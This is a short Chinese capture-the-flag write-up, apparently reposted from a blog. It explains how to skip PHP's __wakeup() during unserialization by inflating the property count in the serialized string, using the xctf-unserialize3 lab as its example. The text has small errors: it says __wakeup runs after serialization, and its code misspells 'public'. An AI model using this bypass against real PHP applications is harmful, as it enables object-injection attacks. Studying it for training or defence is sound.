跳過__wakeup()魔法函數


__wakeup():將在序列化之后立即被調用。
漏洞原理:當反序列化字符串中,表示屬性個數的值大於其真實值,則跳過__wakeup()執行。
 

 
參考題目:xctf-unserialize3
 
對於該題,先可以看到類xctf中有flag變量,並調用了__wakeup(),則考慮實例化xctf類並將其變量序列化。並猜測意圖為將序列化結果輸入在?code=后進行POST請求。
 
<?php
class xctf{
public $flag = '111';
pubilc function __wakeup(){
exit('bad requests');
}
}
 
$a = new xctf();
echo(serialize($a));
?>
 
// 序列化輸出結果為:
// O:4:"xctf":1:{s:4:"flag";s:3:"111";}
 
正常結果輸入時,會執行__wakeup(),從而輸出'bad requests',並退出腳本,因此利用漏洞繞過__wakeup()。
 
將序列化字符串中代表變量個數的數字改為大於其真實值的數字,並進行POST請求,得到結果。
得到結果。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM